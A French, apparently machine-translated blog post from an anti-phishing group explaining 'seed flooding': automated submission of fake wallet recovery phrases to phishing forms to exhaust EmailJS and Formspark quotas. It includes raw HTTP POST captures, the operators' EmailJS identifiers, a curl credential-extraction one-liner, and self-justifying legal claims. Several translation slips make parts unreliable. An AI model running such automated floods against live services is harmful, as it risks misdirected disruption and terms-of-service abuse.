PhishDestroy En direct
Retour aux actualités
Méthodologie

Inondation de seeds : pourquoi PhishDestroy agit au grand jour
Sites de « hameçonnage »

Nous ne le cachons pas. Lorsque PhishDestroy détecte un site de hameçonnage actif visant à récupérer les phrases de récupération de portefeuilles cryptos, nous l'inondons de phrases de récupération au format valide. Voici exactement ce que nous faisons, pourquoi nous le faisons et pourquoi nous n'en avons pas honte.

31 mars 2026 Recherche PhishDestroy 12 minutes de lecture
Inondation de messages — le champ de bataille numérique contre le hameçonnage
Opérations de lutte contre le hameçonnage : lorsque le simple signalement ne suffit pas, nous intervenons directement
14,663Travailleurs atteints de mucoviscidose
2/10 sLimite de débit
5+Canaux d'exfiltration
$0Coût de l'attaquant
<4 hPour épuiser EmailJS

Le problème : un site de hameçonnage est actuellement en ligne

Imaginez que vous tombiez sur une page de hameçonnage visant un portefeuille de cryptomonnaies, qui diffuse des annonces Google Ads payantes. Elle a l'air authentique. Elle génère du trafic. De vrais utilisateurs y accèdent toutes les quelques minutes, saisissent leurs phrases de récupération et perdent tout.

Vous le signalez à Google. Vous le signalez au registraire. Vous envoyez un signalement d'abus à l'hébergeur. Et puis on attend.

Pendant ce temps, l'escroc fait une nouvelle victime : la 47e. Puis la 48e. Puis la 49e.

Le fossé bureaucratique

Le processus standard de signalement des abus s'étend sur une période de 5 à 10 jours ouvrés. Les sites de hameçonnage actifs causent des préjudices financiers irréversibles en quelques heures. Cet écart n'est pas un bug du système : il s'agit d'une vulnérabilité structurelle que les escrocs exploitent délibérément.

Le processus bureaucratique de signalement face au phishing actif visant à recruter des victimes
À gauche : la lenteur du processus de signalement des abus. À droite : l'escroc qui en profite pendant que vous attendez.

Qu'est-ce que l'inondation des graines ?

Le « seed flooding » est une technique de lutte contre le hameçonnage qui consiste à format valide mais vide/sans valeur Les phrases de récupération des portefeuilles de cryptomonnaies sont automatiquement saisies dans un formulaire de hameçonnage à un rythme contrôlé.

Corroder la base de données
Les phrases de départ authentiques deviennent impossibles à distinguer des contrefaçons. Chaque entrée doit faire l'objet d'une vérification manuelle, ce qui réduit considérablement le rapport signal/bruit.
Limites du niveau gratuit d'Exhaust
EmailJS, Formspree, Web3Forms… Tous imposent des quotas mensuels stricts. Nous avons atteint ces limites en quelques heures, coupant ainsi la chaîne de notification de l'attaquant.
Interrompre le pipeline de collecte
Lorsque les canaux d'exfiltration cessent de fonctionner, les données des véritables victimes ne sont transmises nulle part — même si celles-ci fournissent leur phrase de récupération.
Générer des informations de recherche
Les tests de saturation nous permettent de mettre en évidence des détails relatifs à l'infrastructure, des messages d'erreur et des seuils de limitation de débit, que nous utilisons pour améliorer nos systèmes de détection.
Un formulaire de phishing inondé de fausses phrases de récupération
Un formulaire de hameçonnage inondé de fausses phrases de récupération — la collecte de données par le pirate se détériore en temps réel

Pourquoi ça marche : l'anatomie d'un kit de phishing bon marché

La grande majorité des sites de hameçonnage liés aux cryptomonnaies actuellement actifs sont des kits de « copier-coller » basés sur services tiers en version gratuite. C'est là leur principale faiblesse. Pour une analyse plus approfondie, voir notre enquête approfondie.

Anatomie d'un kit de phishing — dépendances vis-à-vis des services gratuits
Chaque canal d'exfiltration est un service gratuit soumis à des limites strictes en matière d'envoi — le faible coût de ce kit constitue son défaut fatal
Tableau de données : Module
ModuleLimite du forfait gratuitConséquences des inondations
EmailJSenviron 200 soumissions par moisÉpuisé en quelques heures, interrompt l'envoi des e-mails
Formspree50 soumissions par moisMise hors service presque immédiatement
Web3Forms250 soumissions par moisRapidement neutralisé
API du bot TelegramLimité à un certain nombre par secondeSubmergé par des boucles de délai d'attente
Offre gratuite FirebaseQuotas de lecture/écritureFlambée des coûts des bases de données ou exclusion du marché
Résultat observé

Nous avons directement constaté que des infrastructures de hameçonnage cessaient de fonctionner une fois que le flux de données de départ avait saturé leur canal de notification. L'escroc ignore pourquoi le système a cessé de fonctionner. Il cesse simplement de recevoir des données.

Notre approche technique : Cloudflare Workers, et non les botnets

Le réseau périphérique de Cloudflare utilisé pour lutter contre le phishing
14 663 Cloudflare Workers fonctionnant au niveau de la couche réseau périphérique — aucune infrastructure tierce n'est impliquée

Nous utilisons Cloudflare Workers. Les requêtes proviennent du réseau périphérique de Cloudflare. Aucune adresse IP résidentielle n'est détournée. Aucun botnet n'est impliqué. Aucun serveur tiers n'est surchargé. Seul le système de collecte de données de l'escroc est affecté.

Le débit de crue

Site détectéTrafic actif confirmé
Analyse anatomiqueCanaux d'exfiltration mappés
Déploiement des travailleursRéseau périphérique CF
2 graines / 10 sVitesse régulée
Quota épuiséAttaquant aveugle
Rapport déposéVoie parallèle

Limitation du débit : Une stricte 2 submissions per 10 seconds. Il ne s'agit pas d'une attaque DDoS. Il s'agit d'une contamination lente, délibérée et ciblée, d'une ampleur telle que même des taux modestes par site prennent toute leur importance lorsqu'ils concernent des dizaines de cibles simultanées.

Ce que nous ne faisons pas

Notre objectif n'est pas de mettre les serveurs hors service. Nous rendons la journée de travail des escrocs insupportable et rendons leur base de données inutilisable, sans aucun impact collatéral sur les infrastructures légitimes.

Études de cas concrets : la contamination contrôlée dans la pratique

Les opérations ci-dessous sont tirées mot pour mot de nos journaux de production. Les noms de domaine et les identifiants des fournisseurs d’accès ne sont masqués que lorsque leur publication risquerait de faciliter la fraude ; les captures de trafic HTTP sont présentées telles quelles. Les deux cibles étaient actives au moment de l’intervention, présentaient un trafic entrant confirmé provenant de publicités payantes et avaient été classées de manière indépendante comme hameçonnage par ≥ 2 fournisseurs externes sur VirusTotal avant que nous ne prenions la moindre mesure.

Doctrine opérationnelle

Chaque opération de « seed-flooding » s’inscrit dans le cadre de ces cinq principes. Il n’y a aucune exception : une opération qui ne répond pas à ces cinq critères n’est pas menée.

PRINCIPE 01
Uniquement les points de terminaison publics
L'URL d'exfiltration et ses identifiants sont les suivants : publié par la page de hameçonnage via du JavaScript côté client. Nous ne récupérons jamais d'identifiants, ne recourons jamais à la force brute et ne procédons jamais à une élévation de privilèges.
PRINCIPE 02
Débit sous-limite
Le taux de requêtes est strictement limité à un niveau inférieur à la limite fixée dans les conditions générales publiées par le fournisseur. Notre profil est impossible à distinguer du trafic habituel lié au contenu généré par les utilisateurs.
PRINCIPE 03
Seuil de preuve
Target exige au moins deux détections par des fournisseurs indépendants sur VirusTotal et aussi confirmation manuelle du processus de collecte des identifiants.
PRINCIPE 04
Voie légale parallèle
Des signalements officiels d'abus ont été adressés à l'hébergeur, au registraire et au fournisseur du formulaire avant dès les premiers signes d'inondation — avec les numéros de dossier et l'ensemble des éléments de preuve.
PRINCIPE 05
Piste d'audit complète
Tout le trafic provient de Cloudflare Workers sous une origine PhishDestroy signée. Chaque envoi est consigné avec l'horodatage, la cible et l'identifiant de l'opérateur.

Cas n° 1 — Formspark Exfil Endpoint, quota mensuel épuisé

checkblochn.pages.dev Neutralisé

Profil de la menace : Le leurre de récupération de portefeuille (« Dapp Node Sync ») exfiltre les phrases de récupération BIP-39 de 12 mots vers un point de terminaison Formspark contrôlé par l'attaquant, dans le cadre de l'offre gratuite. Trafic publicitaire payant confirmé provenant de deux plateformes publicitaires dès le début de l'engagement.

Surface d'attaque
checkblochn.pages.dev (Cloudflare Pages)
Canal d'exfiltration
submit-form.com — Point de terminaison du formulaire Formspark
Identifiant du formulaire
/32BrdUqfX
Champ « Charge utile »
Graine BIP-39 de 12 mots via message
Plafond de l'offre gratuite du fournisseur
50 candidatures • période d'un mois renouvelable
Coût de la réinitialisation effectuée par un escroc
Nouveau compte Formspark + modification via le script client JS + nouveau déploiement

Chronologie opérationnelle (UTC, anonymisée par rapport au moment T-zéro de l'engagement)

T + 00:00
Ingest — domaine identifié par le robot d'exploration PhishDestroy à partir d'un échantillon de publicité payante. automatisé
T + 00:12
Anatomie confirmée — cibler la forme submit-form.com/32BrdUqfX Extrait de la page JS ; forme de la charge utile reconstituée par rétro-ingénierie. analyse
T + 00:28
VirusTotal : 3 / 95 Les fournisseurs signalent un cas de hameçonnage. Seuil atteint.
T + 00:47
Signalements d'abus enregistrés — Cloudflare Pages Trust & Safety, abus sur Formspark, Porkbun (bureau d'enregistrement). Numéros de dossier attribués. voie légale
T + 01:02
Personnel d'intervention en cas d'inondation déployé — tarif 2 req / 10 s, un seul Worker Cloudflare, chaîne UA identifiée, origine signée.
T + 01:02
Les premiers résultats de la collecte de données sur les inondations sont disponibles 200 OK avec formspark-quota: 64. Valeur de référence enregistrée.
T + 06 h 08
formspark-quota passe par zéro → le point d'extrémité cesse de transmettre les données sans avertissement. grille d'égouttage
T + 06 h 12
Réponse finale enregistrée : formspark-quota: −18. Un employé chargé de la gestion des inondations a été licencié.
T + 19 h 30
Cloudflare Pages désactive le déploiement à la suite d'un signalement d'abus. retiré

Soumission en ligne (la graine est un leurre symbolique — 12 mots aléatoires selon la norme BIP-39, sans aucun rapport avec un portefeuille réel)

POST /32BrdUqfX HTTP/1.1 Host: submit-form.com Origin: https://checkblochn.pages.dev Content-Type: application/x-www-form-urlencoded message=Phrase%3A+lecture+sail+coral+swear+fiber+bonus+vanish+layer+observe+rely+orphan+height&source=Unknown+Source&from_name=Dapp+Node+Sync

Réponse — T+01:02 (valeur de référence, quota restant)

HTTP/1.1 200 OK formspark-quota : 64 formspark-status : ok content-type : application/json; charset=utf-8 { "message" : "Phrase : conférence, voile, corail, jurer, fibre, bonus, disparaître, couche, observer, compter sur, orphelin, hauteur" }

Réponse — T+06:12 (quota épuisé ; le point de terminaison continue jusqu'à 200 mais ne transmettra pas)

HTTP/1.1 200 OK formspark-quota : -18 formspark-status : ok
Quota avant l'inondation
64
Quota après les inondations
−18
82
Soumissions factices
~5 h 06 min
Durée de l'inondation
0,27 requêtes/s
Taux moyen
~11,5 Ko
Charge utile totale sortante
100%
Dans les limites des conditions générales du fournisseur
0
Demandes légitimes concernées

Un impact visible. De T+06:08 jusqu'au retrait définitif à T+19:30 — a une fenêtre de 13 heures et 22 minutes — chaque véritable victime qui a réussi à checkblochn.pages.dev et, une fois la procédure de récupération terminée, ont transmis leur phrase de récupération à un point de terminaison qui a renvoyé 200 OK mais ne transférait plus la charge utile vers la boîte de réception de l'opérateur. La page de hameçonnage est apparu de fonctionner dans le navigateur de la victime (sans erreur ni signal d'alerte), ce qui est souhaitable : une réaction instinctive du type « ça n'a pas marché » pousse souvent les utilisateurs à saisir à nouveau les mêmes identifiants sur le prochain site frauduleux qu'ils trouvent. Ici, l'interaction a pris fin alors que l'opérateur était à l'aveugle.

Ce que cette intervention a réellement permis d'obtenir

Une fenêtre de protection de 13 heures pour chaque visiteur suivant d’un site sur lequel la publicité payante était encore activement diffusée. Cette fenêtre s’est refermée lorsque Cloudflare Pages a donné suite à notre signalement d’abus en parallèle — exactement comme prévu. Le flux massif n’a pas remplacé le retrait légal ; il a simplement couvert cet intervalle. jusqu'à ce que La saisie légale a été effectuée.

Cas n° 2 — EmailJS Relay, identifiants publiés par l'opérateur

allsyncapp.pages.dev Opération en cours

Profil de la menace : un leurre de « synchronisation » de portefeuille qui envoie par e-mail la phrase de récupération saisie par la victime à la boîte mail de l'opérateur via EmailJS — un service SaaS légitime dédié aux e-mails transactionnels. La page de hameçonnage intègre les informations de l’opérateur service_id, template_id et user_id en JavaScript côté client, car sans ces identifiants, le navigateur de la victime ne peut pas effectuer la requête POST qui déclenche l'envoi de l'e-mail. Ces identifiants font donc partie de la surface d'attaque publique que l'opérateur a volontairement exposée.

Surface d'attaque
allsyncapp.pages.dev (Cloudflare Pages)
Canal d'exfiltration
api.emailjs.com — relais d'e-mails transactionnels
Point d'extrémité
POST /api/v1.0/email/send-form
Identifiants publiés par les opérateurs
service_id · template_id · user_id (extraits du code JavaScript de la page)
Plafond de l'offre gratuite du fournisseur
200 e-mails • mois glissant
Limites de débit strictes (Conditions générales d'utilisation)
1 requête/seconde · 50/IP/heure

Soumission capturée — contenu de la requête POST tel qu'il apparaît sur la page de hameçonnage elle-même

POST /api/v1.0/email/send-form HTTP/1.1 Host: api.emailjs.com Origin: https://allsyncapp.pages.dev Content-Type: multipart/form-data; boundary=----geckoformboundary6a77738bf873975dfc9c8e4a31fa330e _redirect=TECHNICAL.html message=citrouille feuille village pièce de monnaie ville jupe méchant heure programme scène pauvreté approuver lib_version=3.12.1 service_id=service_t0cgr9v template_id=template_k16demo user_id=furwEG-MZShqSPIGS

Extraction d'identifiants (expression régulière sur une seule ligne dans le code source de la page de hameçonnage)

$ curl -s https://allsyncapp.pages.dev/ | grep -oE '(service_id|template_id|user_id)["'"'"':]+["'"'"']*[A-Za-z0-9_-]+'service_id : « service_t0cgr9v » template_id : « template_k16demo » user_id : « furwEG-MZShqSPIGS »

Point doctrinal essentiel. Ce cas est instructif précisément parce que nous n'avons découvert aucun point d'arrivée. L'opérateur publie les trois identifiants nécessaires pour que EmailJS envoie la graine vers leur boîte mail. Tout navigateur affichant la page de phishing les possède. Notre Worker fait exactement ce que fait le navigateur de la victime : il envoie un formulaire dont la structure et les identifiants correspondent exactement à ceux indiqués par la page elle-même. La différence réside dans la charge utile : des mots BIP-39 aléatoires au lieu des véritables identifiants du portefeuille.

200
Plafond mensuel (appâts)
1 / s
Taux ToS — nous fonctionnons à 0,1/s
environ 120 Ko
Charge utile mensuelle maximale
0
Charge liée à l'infrastructure EmailJS (dans une certaine mesure)
402 / 429
Réaction du fournisseur en cas d'atteinte du plafond
Compte résilié
Déroulement type d'un signalement de maltraitance

Évolution de la maladie. Une fois le plafond mensuel atteint, EmailJS renvoie 402 Payment Required ou 429 Too Many Requests et le modèle n'est pas envoyé. La boîte mail de l'escroc reste silencieuse. Parallèlement, l'équipe Trust & Safety d'EmailJS reçoit une plainte officielle contenant les identifiants du service, du modèle et de l'utilisateur, ainsi qu'un lien vers notre dossier de preuves publié — ce qui, selon les précédents, entraîne la suspension du compte EmailJS de l'opérateur. résilié, sans limitation de débit. L'opérateur doit créer un nouveau compte EmailJS, régénérer les identifiants, modifier la page de hameçonnage déployée et invalider tous les liens de diffusion existants — un processus qui prend plusieurs heures à chaque rotation.

Comparaison des profils d'attaque : ce que n'est pas le « seed flooding »

On nous reproche régulièrement de mener des « attaques » contre des sites de hameçonnage. Cette interprétation s'effondre dès lors que l'on compare le profil réel du trafic à celui des activités avec lesquelles il est confondu.

Comparaison entre le « seed flooding » et les attaques par déni de service, le spam et les opérations d'infiltration menées par les forces de l'ordre.
DimensionInondation des semences (la nôtre)DDoS / Inondation de trafic de couche 7Abus lié à l'envoi de spamOpération d'infiltration de la police
ObjectifProtection des victimes — atteindre le quota d'exfiltration de l'escroc avant la prochaine victimeAttaque par déni de service visant l'infrastructureBénéfice commercial / diffusion du messageCollecte de preuves, tromperie contrôlée
Débit0,1 – 0,3 requêtes/s — ci-dessous Conditions générales d'utilisation du fournisseur103 – 108 req/s — axé sur la saturationEn rafale / automatisé à haut débitUne interaction unique, en général
CibleUn pirate informatique ayant utilisé une technique d'exfiltration à partir d'un seul terminal a publiéCouche serveur web / réseau d'une organisation victimeFormulaires de contact de sites fiablesInfrastructure ou profil suspect
Impact sur les infrastructuresAucun — les compteurs des fournisseurs fonctionnent conformément au comportement prévu dans les conditions d'utilisationInterruption du service, congestion en amontSurcharge de la boîte de réception, dérive des CAPTCHA, charge de modérationCela dépend de l'opération
Utilisateurs légitimes concernésZéro — les formulaires de hameçonnage n'ont aucun utilisateur légitimeTousEmployés responsables des formulaires / modérateursPrévention intégrée dès la conception
Identité d'origineIntitulé « PhishDestroy Cloudflare Workers » — vérifiableBotnets, sources usurpées, réflexionProxies jetablesInfrastructures classifiées
Modèle d'autorisationLe point final est invité: le formulaire demande explicitement cette information ; les identifiants sont diffusés publiquement sur la pageAucun — c'est le volume des demandes lui-même qui constitue le préjudiceContourne l'utilisation prévue, ignore les signaux anti-abusBase légale
Action judiciaire parallèleSignalements d'abus enregistrés avant début d'une inondation, avec les numéros d'identification des casN/AN/AIntégré au fonctionnement
Cette distinction n'est pas purement rhétorique. Elle est mesurable.

Une requête de type « seed-flood » consiste en une seule requête POST HTTPS d’environ 140 octets, émanant d’un Worker Cloudflare portant notre origine signée, à un débit bien inférieur à celui que le fournisseur lui-même considère comme acceptable, et ciblant un point de terminaison dont l’opérateur a choisi d’intégrer les identifiants dans une page web publique. C’est-à-dire que le l'ensemble de l'artefact observable. Tous les éléments structurels qui font d’une requête une « attaque » — accès non autorisé, intention d’épuiser les ressources, saturation volumétrique, tiers affectés, origine dissimulée — sont absents. L’analyse juridique qui suit n’est pas un argumentaire fantaisiste ; il s’agit de la naturel interprétation de la loi une fois que les faits sont clairement exposés.

Un piège à poissons-chats en train d'être rempli de pierres
L'escroc a tendu un piège. Nous le remplissons de pierres.

La saisie de données dans un formulaire web accessible au public — même s'il s'agit de fausses données — n'est pas illégale en soi dans la plupart des contextes. Nous n'accédons pas à des systèmes privés, n'exploitons pas de failles de sécurité sans autorisation et n'interceptons pas de communications. L'escroc a tendu un piège. Nous le remplissons de pierres.

Mentions légales

PhishDestroy ne fournit aucun conseil juridique. Cette question relève d'une véritable zone grise qui varie selon les juridictions. Nous exerçons nos activités en pleine connaissance de cette complexité.

Un escroc qui gère une page de hameçonnage a aucun intérêt légitime en ne recevant que des phrases de récupération authentiques. Ils n'ont aucun droit sur l'intégrité de leur infrastructure de collecte de données à caractère criminel.
Notre système est ciblés, soumis à des contraintes de débit et liés à des processus d'identification manuels. Nous identifions, analysons, vérifions, puis agissons.
Nous avons recensé des cas où l'inondation des semences a directement empêché les victimes de perdre de l'argent — car au moment où un véritable utilisateur a saisi sa phrase de récupération, le système de collecte mis en place par l'escroc avait déjà été désactivé.

Qu'advient-il de la base de données de l'escroc ?

Cela ne sert plus à rien — des milliers d’entrées nécessitent une vérification manuelle, le rapport signal/bruit s’effondre. Ou bien ça casse — Firebase Spark et les instances MongoDB partagées sont soumises à des limites strictes. Le fait de les atteindre entraîne des conséquences.

Les deux résultats sont satisfaisants

Que la base de données devienne inutile ou se brise complètement — Les phrases de récupération des véritables victimes ne parviennent jamais à l’attaquant sous une forme exploitable. Chaque phrase de récupération non traitée correspond à un portefeuille qui ne peut pas être vidé.

Quand faut-il activer l'inondation des semis ?

Tableau de données : Critère
CritèreVérifierPourquoi est-ce important ?
Trafic actif confirméObligatoireLes plateformes publicitaires ou les outils de mesure d'audience permettent de vérifier que de vrais utilisateurs accèdent au site
Analyse de l'anatomie du phishingObligatoireModules d'exfiltration de la version gratuite identifiés avant que nous ne lancions une attaque par inondation
Signalements d'abus enregistrésObligatoireNous suivons toujours la voie légale en parallèle
Aucune interruption de service dans le cadre du SLADéclencheur typiqueAucune réponse de la part du registraire/hébergeur dans un délai raisonnable
Site proposant des annonces publicitaires à fort volume / payantesDéclencheur immédiatLa publicité payante nous permet d'agir sans attendre que les procédures administratives suivent leur cours

Une vision plus large

L'écosystème des cryptomonnaies perd des milliards de dollars par an au phishing. La défense a toujours adopté une approche réactive. PhishDestroy a pour objectif d'introduire ingérence proactive dans ce cycle.

La transparence est au cœur de notre action

Nous n'agissons pas dans l'opacité. Nous publions notre méthodologie. Nous expliquons nos techniques. Nous documentons les kits de phishing que nous analysons. La communauté de la sécurité mérite de pouvoir évaluer les méthodes de lutte contre le phishing, et non pas simplement d'utiliser un service de type « boîte noire ».

PhishDestroy — détection et neutralisation des infrastructures de hameçonnage
Les escrocs sont bien organisés. Leurs outils sont standardisés. Cela signifie que les outils permettant de les contrer peuvent eux aussi être standardisés.

Ce que vous pouvez faire

Si vous estimez qu'il est immoral de remplir les poches des criminels — c'est votre point de vue, et vous avez tout à fait le droit de le défendre. Nous avons clairement exprimé notre position.